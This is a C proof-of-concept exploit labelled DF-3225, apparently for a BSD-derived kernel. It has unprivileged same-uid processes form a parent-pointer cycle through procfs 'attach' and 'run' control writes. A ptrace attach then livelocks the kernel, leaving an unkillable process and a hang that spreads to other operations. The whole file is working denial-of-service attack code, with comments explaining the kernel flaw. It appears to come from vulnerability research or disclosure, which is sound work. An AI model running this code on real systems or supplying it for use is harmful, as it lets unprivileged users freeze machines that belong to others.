DF-3225 / df3225.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 | /* * DF-3225 PoC: procfs ATTACH lacks the ptrace tracer-cycle check * (sys_process.c:193-199) -> two cooperating unprivileged same-uid * processes build a p_pptr CYCLE; the next ptrace(PT_ATTACH, x) from * either spins forever in the kernel ancestor walk while holding x's * p_token: permanent kernel livelock, unkillable thread, and the wedge * spreads to anything needing C's p_token (e.g. kill(C)). * * The ctl WRITER becomes the new parent (proc_reparent(p, curp)), so: * A --"attach"--> /proc/B/ctl : B.p_pptr = A (B stopped) * A --"run"-----> /proc/B/ctl : B resumes, still traced by A * B --"attach"--> /proc/A/ctl : A.p_pptr = B (A stopped) => CYCLE * B --"run"-----> /proc/A/ctl : A resumes, still traced by B * A: ptrace(PT_ATTACH, C) : sys_process.c:194 walk never exits */ #include <sys/types.h> #include <sys/wait.h> #include <sys/ptrace.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <err.h> #include <fcntl.h> #include <unistd.h> static int ctl(pid_t pid, const char *cmd) { char path[64]; int fd, n; snprintf(path, sizeof(path), "/proc/%d/ctl", pid); fd = open(path, O_WRONLY); if (fd < 0) { fprintf(stderr, "[ctl] open %s: %s\n", path, strerror(errno)); return (-1); } n = write(fd, cmd, strlen(cmd)); close(fd); return (n); } int main(void) { pid_t a, b, c; int p2a[2], b2m[2]; /* (unused go pipe), B->main cycle-done */ char ch; fprintf(stderr, "df3225 uid %d: building p_pptr cycle via procfs " "ctl attach\n", getuid()); if (pipe(p2a) || pipe(b2m)) err(1, "pipe"); c = fork(); if (c == 0) { signal(SIGTERM, SIG_DFL); for (;;) pause(); /* C: untraced ptrace target */ _exit(0); } b = fork(); if (b == 0) { /* * B: gets attached+run by A, then attaches A back. * Arm SA_NOCLDSTOP first: proc_stop()'s completion sends * SIGCHLD to A's new parent (B); B is P_TRACED by then, so * the SIGCHLD would stop B for its tracer before it can * write "run" (observed: mutual-stop freeze). */ { struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_handler = SIG_DFL; sa.sa_flags = SA_NOCLDSTOP; sigaction(SIGCHLD, &sa, NULL); } char apid[16]; int fd = -1; while (fd < 0) { fd = open("/tmp/df3225.apid", O_RDONLY); if (fd < 0) usleep(50000); } read(fd, apid, sizeof(apid) - 1); close(fd); apid[sizeof(apid)-1] = 0; pid_t A = (pid_t)atoi(apid); /* wait until A has attached us: we get stopped; after A's * "run" we continue past this sleep */ sleep(2); fprintf(stderr, "[B %d] attaching A (%d) back -> cycle\n", getpid(), A); if (ctl(A, "attach\n") <= 0) err(1, "B attach A"); fprintf(stderr, "[B] running A again\n"); if (ctl(A, "run\n") <= 0) err(1, "B run A"); ch = 1; write(b2m[1], &ch, 1); /* cycle done */ for (;;) pause(); _exit(0); } a = fork(); if (a == 0) { close(p2a[0]); sleep(1); /* let B publish/let main note us */ fprintf(stderr, "[A %d] attaching B (%d)\n", getpid(), b); if (ctl(b, "attach\n") <= 0) err(1, "A attach B"); fprintf(stderr, "[A] running B\n"); if (ctl(b, "run\n") <= 0) err(1, "A run B"); /* wait for main's go (cycle complete) */ { int fd = open("/tmp/df3225.go", O_RDONLY); while (fd < 0) { usleep(50000); fd = open("/tmp/df3225.go", O_RDONLY); } close(fd); } fprintf(stderr, "[A %d] ptrace(PT_ATTACH, %d): if " "vulnerable, never returns\n", getpid(), c); fflush(stderr); ptrace(PT_ATTACH, c, (char *)1, 0); fprintf(stderr, "[A] RETURNED -- not vulnerable?\n"); _exit(0); } fprintf(stderr, "[main] A=%d B=%d C=%d\n", a, b, c); { int fd = open("/tmp/df3225.apid", O_CREAT|O_WRONLY|O_TRUNC, 0644); char buf[16]; int len = snprintf(buf, sizeof(buf), "%d\n", a); write(fd, buf, len); close(fd); } /* wait for B to complete the cycle */ if (read(b2m[0], &ch, 1) == 1) fprintf(stderr, "[main] B reported cycle complete\n"); else fprintf(stderr, "[main] WARNING: no cycle-done byte\n"); usleep(300000); close(open("/tmp/df3225.go", O_CREAT|O_WRONLY|O_TRUNC, 0644)); fprintf(stderr, "[main] go marker set; A enters ptrace walk\n"); sleep(5); fprintf(stderr, "[main] after 5s: kill -9 A (%d)\n", a); kill(a, SIGKILL); sleep(3); if (kill(a, 0) == 0 || errno != ESRCH) fprintf(stderr, "[main] A SURVIVED SIGKILL -> stuck in " "kernel spin\n"); else fprintf(stderr, "[main] A died (not stuck?)\n"); fprintf(stderr, "[main] now kill -9 C (%d): needs C.p_token held " "by spinning A -- expect HANG below (no further output)\n", c); fflush(stderr); kill(c, SIGKILL); sleep(2); fprintf(stderr, "[main] kill(C) returned -- wedge did not spread\n"); return 0; } |